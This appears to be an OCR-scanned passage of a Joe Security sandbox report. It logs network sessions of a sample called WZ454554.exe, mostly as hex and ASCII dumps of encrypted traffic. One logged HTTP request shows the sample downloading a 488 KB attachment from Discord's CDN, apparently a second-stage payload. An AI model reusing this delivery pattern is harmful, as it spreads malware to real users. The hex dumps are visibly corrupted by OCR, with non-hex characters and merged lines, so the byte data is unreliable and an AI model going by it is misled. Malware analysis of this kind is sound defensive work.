2c 55 a5 55 a4 d3 bb 86 90 a6 d4 3d 6f dd d1 df 1d 0d b4 ff 1d 28 b4 93 5e 5d c4 6a 34 84 8e a2 ce 20 91 29 42 fa 91 29
42 fa92 ab 62 41 78 18 55 81 b5 78 12 al 7c 4b
Data Ascii: 2192[,u+GyQB :i6 ;;D>%Hdj&S(Pn<+ 9d"haFg}gvTWyk&0* s6h<yN) PI#XM1tZUH@|zrdE,UU=0("]j4 )B
)BbAXUXx|K

2022-01-13 19:22:18 UTC 411 IN Data Raw: 73 e7 b5 79 e9 ec 72 69 86 90 a6 d7 c4 73 2e d6 a8 c0 11 3d 6e 63 b4 f4 99 4a 7d fe aa 97 34 c6 66 3f 71 ca
50 1b 3e f1 fd 18 9d 2a 0d 74 28 c3 9e €5 94 ad 7a 76 1e a8 84 8d 3d 5f bb d4 3c f1 fd 18 90 e5 e3 de 53 9f 21 f9 14 37 7d
fc a6 d6 1a a0 d7 ac 93 2f 01 eb ed f4 f7 09 a9 5f a7 59 ad 6a 5a 2f 50 19 1f 45 48 1c c7 bc 08 79 f4 84 8¢ 7 c3 e7 a7 5a
26 ee 76 70 60 3c e0 b1 70 60 3c ec 1b eb eb ba 18 d5 2e cf b2 f2 85 88 f8 8¢ 9e a4 a7 38 a0 ae 87 7b e3 de 53 8b 39 66
49 83 21 5d b7 7d 85 7c Oe €9 a9 2a a6 bl 6a 12 1e a8 dc 4f 92 c3 fc 97 36 ba 69 b1 02 2a b7 18 f5 75 82 eb 92 ca 53 ec
17 01 95 8a 08 7a 76 6d dc 27 55 a5 55 c1 e0 39 24 d0 59 c4 01 b9 80 83 0a 7b 90 cd af 6b 96 e4 0d 6b a7 2d 25 55 c7 bb
d6 d3 b9 81 05 fe 3d 06 74 68 2b 2e a6 b8 90 c5 87
Data Ascii: syris.=ncJ}4f?2qP>*t(zv=_<S!7}/_YjZIPEHyZ&vp <p <.8{SfI!]}|*jO6i*uSzvm'UU9$Y{kk-%U=th+.
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kBytes

Timestamp transferred Direction
2022-01-13 19:22:18 UTC 427 IN
2022-01-13 19:22:18 UTC 443 IN
2022-01-13 19:22:18 UTC 459 IN
2022-01-13 19:22:18 UTC 475 IN
2022-01-13 19:22:18 UTC 491 IN
2022-01-13 19:22:18 UTC 507 IN
2022-01-13 19:22:18 UTC 523 IN
Session ID Source IP Source Port
2 192.168.2.3 49750
kBytes
Timestamp transferred Direction
2022-01-13 19:22:46 UTC 537 ouT

Copyright Joe Security LLC 2022

Data

Data Raw: 76 24 d9 a7 30 a6 a7 3c 8f 5¢c 76 6b cd ae €9 e9 cd a7 cf bl 70 13 60 59 d9 ad Oa 1f 5e 59 fd 6a 37 03 83 7f 4f
91 39 66 49 8c 1f 25 af 68 4e 67 bf ea 1c c2 71 a3 3f 1c cf c6 6e 3e 92 d3 fe 9c c9 a5 55 a5 1c af ff 1f 2c ad 15 79 97 53 cd
c0 7e 16 ec 02 09 98 c0 54 24 b3 74 68 4b af 62 d2 3a e8 1a c6 7f 6d 9f 26 d3 d2 4d e2 39 05 8b 5e 3e f1 fd 18 98 99 33
cb aa e0 3d Ob 6f 9e ab 0d 6d ad 17 7f 62 39 23 33 59 ad 65 c2 1c 37 62 d9 c8 67 9e 8a da Of 5b ee 39 29 Ob 54 72 21 72
3c a9 01 ef f9 0f 08 36 d7 cO 11 7f 60 54 41 58 4e 71 8c f9 66 3a 86 5 eb f1 ff 1c d2 57 c1 b3 10 ee 19 78 18 ee 19 6a 72
0380 ec le ad 63 c1 9348 77 96 c0 74 12 e6 16 9f 40 f7 Ob 74 06 1c 86 f4 el b4 91 40 86 fe ef fe 9e c7 a0 be 62 28 e0 3f
1d 47 e9 e9 e8 6b d5 cb c7 c9 a0 ce 32 d6

Data Ascii: v$0<\vkp Y~"Yj709fI%hNgq?n>U,yS~T$thKb:m&M9">3=0mb9#3Ye7bg[9) Tr!r<6 TAXNgf:WxjrcHWt@t@b(?

Gk2

Data Raw: 10 8b 1b 23 17 1a al 4c 16 98 b8 ff 5¢ 33 59 ad 63 33 59 ad 06 01 8b 7f 73 c8 e3 8e a2 8e a2 ce 30 d2 39 66
4989 17 1a al 4c 10 8b 3b 6a 52 1d 2a ¢5 9c ¢l a3 51 9b 3f 73 b6 fb 13 12 ee 03 8f 40 db ad 37 61 9e c5 9c c1 93 2d 4b
8e a2 ce 30 d2 39 66 49 8f 24 b7 7d €6 65 c7 a0 da 4a Ob 00 71 52 1d 28 c0 65 bf ea 1a 8f 24 b7 7d fc 96 b4 {6 88 95 32
d6 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 28 98 b8 ff 8d b4 {6 88 95 32 d6 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa
b9 81 05 43 5¢ 33 59 ad 67 cc 2b 47 85 Oe 87 13 12 8f 24 b7 7d fc 96 b4 {6 88 95 32 d6 42 fa 91 75 eb 0 bb 86 90 a6 d7
c4 1a al 4c 10 8b 1b 22 53 9f 48 57 a8 dc 4f 97 36 df d5 bf 8f 24 b7 7b a8 dc 4f 07 f7 Ob 00 68 19 1f 2c 49 89 17 1a al 5¢
3359 ad 67 cc 2b 47 85 Oe 87 03 ee 77 ef f9 Of 09

Data Ascii: #L\3Yc3Y s09fIL;jR*Q?s@7a-K09fI$}eJqR (e$}2B)B)B)B(2B)B)B)BC\3Yg+G$}2BuL"SHWO6${Oh,\3Yg+Gw

Data Raw: d7 3b 6a 14 fO 08 2b 3f 01 99 5e 54 61 d6 33 3d 0d 77 81 74 10 cb a9 5e 38 f7 f4 7b 07 08 79 f4 c0 7c Oe eb al
28 b2 9c b5 09 99 5e 75 8b 77 8b 69 90 a6 d7 c4 08 86 6f 22 4c 10 8b 1b 23 70 11 69 b4 a7 3d 1d 46 77 9e a7 3d 6f dd d1
ba fb ec 8d df d5 bf 8f 24 fc f8 ef 93 7c 1e d8 28 b4 87 71 86 90 a6 d7 c8 dc b0 12 70 60 3c ec 72 2f 3e 91 4a 5a 4b fc 8 f9
7e 1d 4c 10 8b 1b 2f af 94 50 e6 65 c7 f2 e8 10 ef 97 53 ce 54 50 77 9b 4e 76 09 fb 13 12 81 fa 6e a4 2c c9 a5 55 el b2 9f
2b 16 fc e4 Of 7d 8d 42 9e 85 Oe 87 13 1f d3 44 01 15 16 98 ed 9c b0 9e b1 10 €0 18 f6 €3 b0 8f 60 4b 8e a2 ce 3e Oe 78
8e 5d b6 fb 51 ea Oa 1le d9 ac aa 91 47 e7 83 78 03 ae e9 ec 72 6a ad 98 47 7a 76 6d d9 c8 71 86 e3 8d 47 f4 e0 38 87 51
5 6b a6 b3 03 9d 43 7c 7a 66 b6 04 8f db cd

Data Ascii: ;j+?"Ta3=wt"8{y|(*uwio"L#pi=Fw=0$|(qp <r/>IZK~L/PeSTPWNvn,U+}BD K>X]QGxrjGzvmqG8QkC|zf

Data Raw: 96 b4 f6 c9 a0 9a bd ca aa 92 c4 68 3c a9 33 38 81 77 9b 6¢ 12 83 Oa 3e c5 b8 ff 5¢ 00 80 83 4a 38 28 c0 51
ad 3359 ed c2 75 eb b0 db 91 29 02 5a 77 ef b9 b7 31 54 62 27 1e aa €0 58 26 bc 49 8d d4 3d 6f dd d1 b6 fb 13 12 8f 24
b7 7d fc 96 b4 f6 88 95 32 d6 42 fa 91 29 42 fa 91 29 42 bb 82 73 25 3b 6a 16 10 df f8 Oe 47 Oe 44 a3 a9 b5 87 ec 46 81
ec b1 7021 35clfb 03 67 a8 85 57 f2 40 c6 1e ee ff 48 02 93 0d 8d 44 ce cf d6 42 bb 82 12 7 b2 32 e5 0f 82 d2 fa 90 a6
93 a5 05 de d0 a4 10 d6 ba ef 06 8a ad de ba c7 a0 8b 1f 49 el ca ae 8d 79 ad 3d af 58 d5 40 b0 59 45 80 c3 87 13 07 7c
7a 76 6d db 74 68 0f 8a 01 52 e2 a3 6a d7 2c c9 e4 e2 fc 2e d2 4c 10 cf 3a b8 fa 6e 7b 71 86 a0 35 39 66 08 7d a2 a6 82
47 b6 17 91 7c 7a 76 6d f7 Ob 00 68 4f 68 b1 8f db cd

Data Ascii: h<38wI>\J8(Q3Yu)Zw1Tb'X&I=0$}2B)B)Bs%;GDFp!5gW@HDB2ly=X@Y E|zvmthRj,.L:n{q59f}G|zvmhOh

Data Raw: 62 35 5d f7 8a 31 54 22 b3 74 68 0a Oe 8b 1b 62 c0 bd 8a 99 3a e8 69 94 df 8d 20 ef 78 c1 93 2d 4b 8e a2 8a
€918 9d 02 ed 40 f5 06 75 eb f0 3f 02 10 8b 5a ae 51 9b 3f 73 e6 65 83 7b 58 2a 84 0d b8 ff 1c a6 d7 c4 5e 48 bf 8f 65 46
€3 97 36 df d5 bf cb d9 c8 23 74 €9 28 c0 11 0d 04 70 24 c7 20 ae a8 5d 7e 7f 01 ea 6e 5b f5 76 b9 81 44 7f cd ae e9 ec
72 64 01 9b 33 59 ec f3 d2 39 66 49 89 17 5e 48 ch a9 1f ad b3 74 68 4e 14 94 eb 80 f3 02 2d ca ff 1c a6 d7 c4 1a e5 93
5 06 34 5a f3 02 6¢ 57 a8 dc Ob 71 b2 f2 c1 12 6f dd d1 b6 fb 13 56 56 22 b3 35 dc ab 62 41 78 71 e2 18 ed 8c 9e 84 0d
ec 72 64 45 80 83 4e 64 d5 bf ce bl 9c c1 93 2d 4b 8e e6 14 b4 f6 ¢9 24 47 85 Oe 87 13 12 cb d8 12 8f 65 46 {7 Ob 00 68
4e 14 d0 45 dc 4f d6 c3 6f dd d1 b6 fb 13 56 56 de 53

Data Ascii: b5]1T"thb:i x--K@u?ZQ?se{X*"HeF6#t(p$ ]~n[vDrd3Y9fl"HthN-4ZIWqoVV"5bAxqrdENd-K$GeFhNEOoVVS

Data Raw: be 79 f4 ba 87 02 18 1d 28 c6 58 dd b7 5f cf b2 f2 ff e3 €3 c0 65 c7 a0 b5 87 36 1d al 44 b8 74 Oe 87 13 13 e4
8895 32 d6 47 6d d9 c8 21 31 bd 8a 99 3b 5b 59 a7 2d 4b 77 6f dd d1 b6 fb ef bc cf 64 cc e8 e0 Ob 56 71 02 a8 5f 56 ad
32 46 03 e2 9e 98 5d 3d 46 27 1e 80 ab 4b a4 3 26 94 ef dd f1 dO 1e ea 44 d3 9b 1b 63 ee 5d 96 90 e6 48 23 15 3c ac cf
92 8f 09 bb a2 ee 5d 9b 7f 41 55 80 a9 1e ea 4a 26 96 f4 c4 3e db e0 18 b4 d2 13 3a a8 9c ec 58 Oe c7 e0 72 49 ad 27 7e
55 80 ae a9 77 ¢5 b8 d7 84 cc 0f 29 68 Oe c7 8a b9 a5 15 56 66 6d 3 42 ba 44 d4 19 dc 11 a9 ad 9b 71 69 d5 cb 5f 3f 87
66 c2 43 bf 53 7d bf d6 19 e0 a7 a6 9a 55 al a7 59 ad 67 c1 7b f4 6f 77 €5 97 1c 9a ba 70 44 c2 46 52 03 9a fd 24 b4 7c
7a 76 6d dc f6 64 18 9e c5 dc cb f8 16 04 fd f3 02 a7

Data Ascii: y(X_e6Dt2Gm!1;[Y-KwodVq_V2F]=F'K&Dc]H#<]AUJ&>:XrI'~Uw)hVfmBDqi_?fCS}UYg{owpDFR$|zvmd

Data Raw: 6a b9 7e 80 78 d9 20 a6 f3 46 88 57 a9 4f e8 b0 d4 24 cb 60 b9 52 34 ¢4 67 16 al 57 d4 77 c9 d1 6d 5c cf ea
e5 ce 44 3e 74 3b aa 6b 16 67 33 a6 78 98 78 fa 52 e2 a3 ae 5e d1 b6 bb Ob ¢3 47 Oc d9 db 46 fc 69 35 50 f1 05 b3 f9 07
82 7f 49 76 9d 4d ee 3e 09 b3 ff 44 01 15 f0 f1 15 ea 26 37 31 47 Oc 81 8e 60 b5 87 ec 89 f6 60 c0 53 14 57 21 62 73 92
e2 a4 99 bl 48 73 34 5e 28 4b 4d 92 eb b4 73 5e 38 27 3¢ 98 78 f4 14 57 50 59 52 ed f0 05 b1 88 ¢5 17 10 ff dc ca e7 6¢
94 f4 da 15 eb ¢8 21 44 27 06 65 2c 08 69 39 a7 55 d1 4b b6 eb 85 d7 fc cc 3e 1a 71 cb 55 e2 d7 d8 ad b7 54 de 04 fb 30
39 a6 d6 65 b2 2b 7e 7f fe 9a bd 6b 54 22 4c¢ 10 8b f8 Oc 92 df 9f 72 11 f0 43 6b al 06 34 ae 30 ea 71 69 de d8 64 31 57
4a 88 cf b6 3c 6f d9 Oe 04 76 86 72 11 47 8d e7 64 4d 54

Data Ascii: j~x FWO$ R4gWwm\D>t;kg3xxR "GFi5PIVM>D&71G" SW!bsHs4N(KMs"8'<xWPYRI!D'e,iQUK>qUT09e+~kT"L
rCk40qid1WJ<ovrGdMT

Destination IP Destination Port Process
162.159.130.233 443 C:\Users\user\Desktop\WZ454554.exe

Data

GET /attachments/801846679439016010/931166967853875200/Hyrzbcwcaslizbwmlgsydewtjitxnzf HTTP/1.1
User-Agent: 11

Host: cdn.discordapp.com

Cache-Control: no-cache
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kBytes
Timestamp transferred

2022-01-13 19:22:46 UTC 537

2022-01-13 19:22:46 UTC 538

2022-01-13 19:22:46 UTC 539

2022-01-13 19:22:46 UTC 540

2022-01-13 19:22:46 UTC 541

2022-01-13 19:22:46 UTC 542

2022-01-13 19:22:46 UTC 544

Copyright Joe Security LLC 2022

Direction

IN

Data

HTTP/1.1 200 OK

Date: Thu, 13 Jan 2022 19:22:46 GMT

Content-Type: application/octet-stream

Content-Length: 488448

Connection: close

CF-Ray: 6cd0fec59d4f8b8f-FRA

Accept-Ranges: bytes

Age: 21566

Cache-Control: public, max-age=31536000

Content-Disposition: attachment;%?20filename=Hyrzbcwcasllzbwmlgsydewtjitxnzf

ETag: "6ce484ddb0699821883415a6a3c03422"

Expires: Fri, 13 Jan 2023 19:22:46 GMT

Last-Modified: Thu, 13 Jan 2022 12:45:05 GMT

Vary: Accept-Encoding

CF-Cache-Status: HIT

Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
X-goog-generation: 1642077905426119

X-goog-hash: crc32c=ezqS6w==

X-goog-hash: md5=bOSE3bBpmCGINBWmo8AOIg==

X-goog-metageneration: 1

X-goog-storage-class: STANDARD

x-goog-stored-content-encoding: identity

x-goog-stored-content-length: 488448

X-GUploader-UploadID: ADPycdvRzXtsPBcamJvrOOnxQdLhRIEMoAYpY8SiWIAVO9bYx2AneSLOMYtS-kyelcV-
aXT9cMB6Wue_WC7NzP4DAPhWzq96GQ

X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp

Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6¢ 22 3a 22 68 74 74
70 73 3a 5¢ 2f 5¢ 2f 61 2e 6e 65 6¢ 2e 63 6¢ 6f 75 64 66 6¢ 61 72 65 2e 63 6f 6d 5¢ 2f 72 65 70 6f 72 74 5¢ 2f 76 33 3f 73
3d 4d 25 32 42 64 73 69 4d 6b 55 51 73 78 32 6f 63 53 42 25 32 46 44 6f 35 76 63 35 48 58 31 35 47 58 51 78 31 6a 6¢
48 68 5a 79 38 5a 64 61 6b 72 65 69 53 43 35 44 39 53 37 56 73 44 6e 6a 66 39 43 36 4e 74 57 7a 31 5a 55 49 25 32 42
78 34 73 46 6d 36 43 4f 33 4b 6d 59 69 51 59 62 53 78 45 65 50 42 7a 32 56 7a 59 6a 76 65 76 68 77 32 42 68 7a 50 50
3168 74 73 57 62 42 38 6b 49 4e 70 48 39 71 46 5a 38 58 6e 44 71 59 77 25 33 44 25 33 44 22 7d 5d 2¢c 22 67 72 6f 75 7
022 3a 22 63 66 2d 6e 65 6¢ 22 2¢ 22 6d 61 78 5f 61 67 65 22 3a

Data Ascii: Report-To: {"endpoints":[{"url":"https:\/VVa.nel.cloudflare.comVreport\/\v3?s=M%2BdsiMkUQsx20cSB%2
FDo5ve5HX15GXQx1jIHhZy8ZdakreiSC5D9S7VsDnjfdC6NtWz1ZUI%2Bx4sFm6CO3KmYiQYbSxEePBz2VzYjvevhw
2BhzPP1htsWbB8kINpH9qFZ8XnDqYw%3D%3D"}],"group":"cf-nel","max_age™:

Data Raw: 18 da 04 39 22 f7 4a 5b f6 c6 57 ec 36 9e 95 6a 0a 39 28 89 53 db 8c ce 77 al 05 b7 39 27 6e 03 b6 bc 46 4a
4f d3 fa c1 d4 73 af 2f 14 d5 ef al 14 d3 {5 4f d3 ff 5d e6 22 fd 51 df 91 68 1e f2 d8 01 a4 9a f9 4b cf e2 1b 6d 90 e2 18 dc
1f 74 30 95 7c 33 1d 6¢ 16 c8 64 Ob 49 cd ea 2f 00 30 8a de 1d 61 fa d5 fe ca 60 72 2d Of 4d d3 eb a8 84 cb e7 ae ad 23
74 38 a3 1f 65 83 4e 55 f4 dc 17 5d 8 c4 5e 7c 3b 3a af 25 73 a2 8a d8 16 c0 49 ce 7e 36 9b 7b b9 d1 f1 b3 3d 2b 03 af 3k
32 8e e5 ad 2e 89 53 de 03 a9 10 c2 51 df 94 ff 44 a6 90 e8 20 ea 2a 84 dc 08 37 28 84 ¢8 62 11 55 fc d1 f8 c4 5e 7c 3b
3a af 25 73 a2 8a d8 16 c0 49 ce 7e 36 9b 7b b9 d1 f1 b3 3d 2b 03 af 3b 32 8e e5 ad 2e 89 53 de 03 a9 10 c2 51 df 94 ff
44 a6 90 e8 20 ea 2a 84 dc 2d 2e ac 8a c9 f7 58

Data Ascii: 9"J[W6j9(Sw9'nFJOs/O]"QhKmt0|3ldI/0a’r-M#t8eNU]"|;:%sI~6{=+;2.SQD *7(bU"|;:%sI~6{=+;2.SQD *-.X

Data Raw: 82 5f 6b 1f f7 d8 8a 47 5¢ f5 d7 06 af a5 86 4d 5a e2 82 5d 78 b5 ba cc e5 23 e6 bd 4c d7 1e 78 a0 00 b0 2f 8a
54 e3 03 2a 06 b5 a4 0d cd 68 8b c4 de 99 ff ce el 18 47 59 64 86 48 c8 fa 57 66 94 72 ba d6 9e 1a 6¢ 96 70 a0 11 ce el
0Ob ce fe 40 29 93 ee a8 1f eb 31 94 72 bc d4 f2 4f 4e db 03 28 00 bb 59 7f d2 f6 54 fd db 16 45 40 36 18 52 db Oc 4d 55 6e
80 5a ed 2e 11 c4 d9 Oc 45 51 59 77 37 a9 81 da 8f e6 a7 85 d2 el 08 a7 9e le 7b 24 77 26 79 37 a7 90 6¢ 9e 07 33 82
59 61 64 94 61 79 3a 35 80 50 da 8a 48 de 8d ea b1 b0 29 8e 7f d8 95 fa 4b 4a c5 45 5b 68 81 cc ee af ae 20 6d 03 36 04
bd 4c d6 84 42 30 17 c8 fb dc 9c 03 2e Oe 42 22 7e a2 13 d0 f5 c7 7e a7 82 5d 6a 81 c5 4f 5b 7d 27 fb d6 9d 8f ec a0 Oc
41 a4 00 bb 54 fc 52 c4 c0 df 07 2a 04 a2 04 af b5 b0

Data Ascii: _kG\MZ]x#Lx/T*hGYdHWfrip@)1rON(YTE@6RMUNZ.EQYw7{$w&y7I3Yaday:5PH)KJE[h m6LBO.B"~~]jO[}'A
TR*

Data Raw: 49 58 e8 a0 00 a7 82 5f 6b 1f f7 d8 8a 47 5c¢ f5 d7 06 af a5 86 4d 5a e2 82 5d 78 b5 ba cc €5 23 e6 bd 4c d7 le
78 a0 00 b0 2f 8a 54 e3 03 2a 06 b5 a4 0d cd 68 8b c4 de 99 ff ce el 18 47 59 64 86 48 c8 fa 57 66 94 72 ba d6 e 1a 6¢
96 70 a0 11 ce el Ob ce fe 40 29 93 ee a8 1f eb 31 94 72 bc d4 f2 4f 4e db 03 28 00 bb 59 7f d2 f6 54 fd db 16 45 40 36 18
52 db Oc 4d 55 6e 80 5a ed 2e 11 ¢4 d9 Oc 45 51 59 77 37 a9 81 da 8f e6 a7 85 d2 el 08 a7 9e le 7b 24 77 26 79 37 a7
90 6¢ 9e 07 33 82 59 61 64 94 61 79 3a 35 80 50 da 8a 48 de 8d ea bl b0 29 8e 7f d8 95 fa 4b 4a c5 45 5b 68 81 cc ee af
ae 20 6d 03 36 04 bd 4c d6 84 42 30 17 c8 fb dc 9c 03 2e Oe 42 22 7e a2 13 dO f5 c7 7e a7 82 5d 6a 81 c5 4f 5b 7d 27 fb
d6 9d 8f ec a0 Oc 41 a4 00 bb 54 fc 52 c4 c0 df 07 2a

Data Ascii: IX_KG\MZ]x#Lx/T*hGYdHWfrip@)1rON(YTE@6RMUNZ.EQYW7{$w&y7I3Yaday:5PH)KIE[h m6LBO.B"~~]jO[}
'ATR*

Data Raw: 89 d4 e3 16 58 2 49 58 €8 a0 00 a7 82 5f 6b 1f f7 d8 8a 47 5¢ f5 d7 06 af a5 86 4d 5a e2 82 5d 78 b5 ba cc e5
23 e6 bd 4c d7 1e 78 a0 00 b0 2f 8a 54 e3 03 2a 06 b5 a4 0d cd 68 8b c4 de 99 ff ce el 18 47 59 64 86 48 c8 fa 57 66 94
72 ba d6 9e 1a 6¢ 96 70 a0 11 ce el Ob ce fe 40 29 93 ee a8 1f eb 31 94 72 bc d4 f2 4f 4e db 03 28 00 bb 59 7f d2 6 54 fd
db 16 45 40 36 18 52 db Oc 4d 55 6e 80 5a ed 2e 11 ¢4 d9 Oc 45 51 59 77 37 a9 81 da 8f e6 a7 85 d2 el 08 a7 9e le 7b
24 77 26 79 37 a7 90 6¢ 9e 07 33 82 59 61 64 94 61 79 3a 35 80 50 da 8a 48 de 8d ea bl b0 29 8e 7f d8 95 fa 4b 4a c5 45
5b 68 81 cc ee af ae 20 6d 03 36 04 bd 4c d6 84 42 30 17 c8 fb dc 9c 03 2e Oe 42 22 7e a2 13 d0 f5 ¢7 7e a7 82 5d 6a 81
c5 4f 5b 7d 27 fb d6 9d 8f ec a0 Oc 41 a4 00 bb 54 fc

Data Ascii: XIX_KG\MZ]x#Lx/T*hGYdHWfrlp@)1rON(YTE@6RMUNZ.EQYwW7{$w&y7I3Yaday:5PH)KJE[h m6LB0.B"~~]jO[
YAT

Data Raw: 91 51 72 al 86 4c b9 e6 1a c1 15 d2 58 b8 39 39 ea bl 50 82 2e ad df 7a 7b 3e 2c a7 ce e6 37 c9 7e 56 2e 7f
2a 95 fc 52 df b7 80 b8 16 cc ae 52 4f b8 22 d1 cd 04 bl be 67 ea aa 87 68 ee 23 9a 03 4f c6 3f a5 f1 4d 20 74 6¢ 69 19 dc
1d e0 12 4a 6f f9 d6 0d 34 Of 5a ba bd bf 28 17 7d 88 48 63 71 a4 9e 6a ee 7e 57 67 72 72 df 04 d3 a2 bc db ¢3 79 4a b0
fc 36 db 78 b5 65 38 5f 1a bd 8b f8 32 62 45 af 08 86 9b fd a9 37 46 d7 a5 a6 b9 7e 6f 05 59 b4 27 99 17 1b 91 59 b6 57
84 9d ed 87 Oe 26 6f a6 76 01 4f 58 4a 7e bc 61 9f 98 20 cb f9 21 8f 1a 50 ¢7 82 20 c9 74 fc de 07 82 24 db 6f 3d d1 e7 52
ad 31 75 39 de ea d4 ea 5¢ 76 b5 bd f3 05 59 e6 7e 08 a9 dd 66 7c 9f 26 96 69 33 1a 1c 96 de ea 1f 00 le bl f1 2d d5 31
dO 14 6b 57 b8 €3 08 5e 42 1e fe c9 6f 77 8d ee 03

Data Ascii: QrLX99P.z{>,7~V.*RRO"gh#0O?M tliJo4Z(}Hcgj~WgrryJ6xe8_2bE7F~0Y'YW&ovOXJ~a !P t$0=R1u9\vY~f|&i3-
1kW”Bow
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kBytes
Timestamp transferred

2022-01-13 19:22:46 UTC 545

2022-01-13 19:22:46 UTC 546

2022-01-13 19:22:46 UTC 548

2022-01-13 19:22:46 UTC 549

2022-01-13 19:22:46 UTC 551

2022-01-13 19:22:46 UTC 552

2022-01-13 19:22:46 UTC 553

2022-01-13 19:22:46 UTC 555

2022-01-13 19:22:46 UTC 556

Copyright Joe Security LLC 2022

Direction

IN

Data

Data Raw: a8 b6 2e Oa b1 fc 72 81 10 89 69 d4 f8 41 a9 f2 b1 39 fc 80 f5 13 d3 7b 2c bc ac 5a 6¢ 43 04 7e ad ae 37 df Ob
ca 8c 84 f0 62 94 7a b7 da 4f 98 d2 3e d6 52 dO fc 43 f8 b9 c8 5f bf bf 8e 68 9c 0a e2 5f a5 37 6f af 6e 8f ef 3¢ af d1 0f 37
7c 50 14 5¢c e4 al 2b 18 fa dd cb 85 e4 b6 2b 85 b0 2c Oc 23 31 71 Of cc ea bb 8f 4e 4c 52 19 6e aa 2b 95 e5 46 cb 61 19
17 60 ce fb cf 62 09 5a 92 eb e8 1c 55 72 ab ae b2 8c eb 5a 27 4f 71 32 00 a5 20 50 f2 6¢ 54 53 6e 92 7e a8 92 6f 19 e7
e2 2a 3d b8 28 1d bc 4a 35 70 7b 8¢ 4f 59 61 77 1b 3b 71 9e c6 31 96 73 33 87 43 fd 90 61 a4 f4 57 63 1d fe 2f e3 78 c3
94 d7 0d d6 9e 02 Of 7f 7d 48 1b Oe 40 37 ab b5 f8 be 35 de 4c 3f b2 3f ba cd 9a 1d 87 51 84 5 d5 71 2d 87 29 f1 5b f8 97
40 30 1f fd cf bb 13 81 fa 96 93 99 fa 45 4a

Data Ascii: .rA9{,ZIC~7bzO>RC_h_70on<7|P\++#1gNLRn+Fa bZUrZ'Og2 PITSn~o0*=(J5p{OYaw;qls3CaWc/x}H@75L??
Qq-)[@0EJ

Data Raw: b0 97 dc 9f 86 4d 6a 71 c6 4d 95 4e e4 al 8d ea 84 89 00 12 96 c8 d3 6e 9d 9d 55 20 29 a5 49 a7 bc cf 66 95
f4 3d d1 ac f3 74 9a 7e a3 83 c5 45 4a c2 1c d6 ac 20 6f 12 b7 bf 53 67 d1 9e 34 1c 71 2f 55 3f e4 86 93 58 ce el Ob c6 79
bb b3 a4 de 3c 26 60 f1 28 05 e4 7c 07 ff 31 8e 61 6¢ 85 b8 55 00 c7 aa 93 f9 c2 c1 5f 5e 23 31 da 57 82 42 34 Ob cc 45 c9
ef 34 ¢4 30 15 d4 eb 30 5c 70 25 11 15 3e 2e 0f da 9a 3d 28 81 98 bc 79 3b a2 00 a8 99 9c 76 22 b6 cb 71 25 6 43 aa 86
c3 1509 87 b4 27 f4 49 8¢ 96 bc 94 ba 28 7b 2d 95 el 78 7e 7c 19 1e d1 Oc 45 4d 59 97 fO af 8a 8f 5e 8b db 1f fe a5 bb 6b
8a 87 3f d1 67 03 25 1a 39 fa 5a 20 9e 6d 19 c9 71 d8 e6 c3 be 13 7d 55 69 05 24 41 Oe fc c9 a4 a9 14 5f 67 1b cO 0f 06
e7 e3 bl 30 11 df 07 84 e5 8a 3a f7 24 f5 d4 el

Data Ascii: MjgMNnU )If=t~EJ 0Sg4q/U?Xy<&'(|1alU_"#1WB4E400\p%>.=(y;v"'q%C'l({-x~|EMY"k?9%9Z mq}Ui$A_g0:$

Data Raw: 01 fe b2 30 01 3c 39 f5 27 95 ee 62 3f bc c1 54 ed c7 00 9a de 51 e5 2b 9e 09 2a ac f1 ce 6d cf c4 db 10 4b 5a
e7 24 7Tabe 18 e5 31 9a 74 b6 a9 a6 53 b0 {7 77 22 65 12 4e ed 22 51 03 €9 cb 75 25 f2 55 43 63 Oc 5¢ 36 ef 4¢c d9 1a 6a
fe 09 84 63 cd dc 6 5f 71 27 50 c5 fa 97 2b 6d 60 {7 dc 8f 47 27 0a 31 4e 38 42 2e 1d ea 3e 53 4c 78 75 ce 89 d1 77 3a a6
27 56 fc 92 da e7 2f 82 50 83 de 8a f5 Oe fd be c4 c6 ce 49 46 78 d6 5a 5a 16 4d 5d 7a 6b 05 64 6a 5a 5e 76 be da 87 cf
dO bf 13 11 7c 31 9e 10 5¢ 99 95 a2 c6 1b 55 €0 8¢ 49 54 5 6a 6e 20 b5 Oc b9 4c dc 86 b6 37 85 6d da 65 8d e4 b4 28 dO
f6 ac 15 Oc a5 7c¢ b2 2c 1f 56 21 c8 58 29 3a 99 eb 2c Oe 88 fd b3 23 29 6f fO ba ce e7 27 a9 59 35 42 d5 94 61 77 26 32
28 03 38 fb 6a 7b 32 19 d3 71 4f 3b €6 7f 77 4f 5e

Data Ascii: 0<9'b?TQ+*mKZ$z1tSw"eN"Qu%UCc\6Ljc_g'P+m G'1IN8B.>SLxuw:'V/PIFXZZM]zkdjZ v|1\UITjn L7me(|
,VIX):,#)o'Y5Baw&2(8j{2qO;wO”

Data Raw: 3f 4e 01 98 Ob d6 9e 19 5a 3d 17 86 8d 5a 89 c0 df 08 22 56 Ob c4 1d 54 86 57 69 1a bb 6a 3f 90 bf f3 ae 3b ac
3b dd 30 8e 9c dd ff ad a7 8d fc e2 39 bb 51 8d 56 1c 62 9d 91 6 6f 1f 55 ad 17 5¢ f1 3¢ 23 98 01 11 7a 6b fd 53 5f 6d 14
d1 6d 86 3a eb 85 4e c2 c4 dc 25 ¢9 81 86 9d 2c 8b c0 dc 9a 9c d8 9a c4 12 a2 fc 52 cf 60 87 3c ea 8d 2a b6 cb 63 17 d6
bc dd b6 11 10 a1 31 9d 93 el 3e e5 12 ed eb da 67 09 2d 8b be 61 35 74 70 48 74 ad b4 26 b7 c9 e2 5d b2 83 79 38 2a
05 84 24 32 93 28 f0 c6 dd 1d e3 1d e3 43 1a be 70 da 9f 82 4a 97 7f 21 e8 7c 56 b8 2e 13 c1 17 96 c5 55 a5 2e 5a ec bf
44 b9 fc 21 e0 4e 6e cd 6a 80 51 13 bc 80 81 1b 0f 96 61 71 29 ed 1b d1 e6 6a 62 cc ef 2f 84 c0 b9 38 38 fb 7c fe 53 4a dc
e7 ch 59 25 3b 10 00 a7 84 5b d3 3a 1d 71 e6 Oa e3

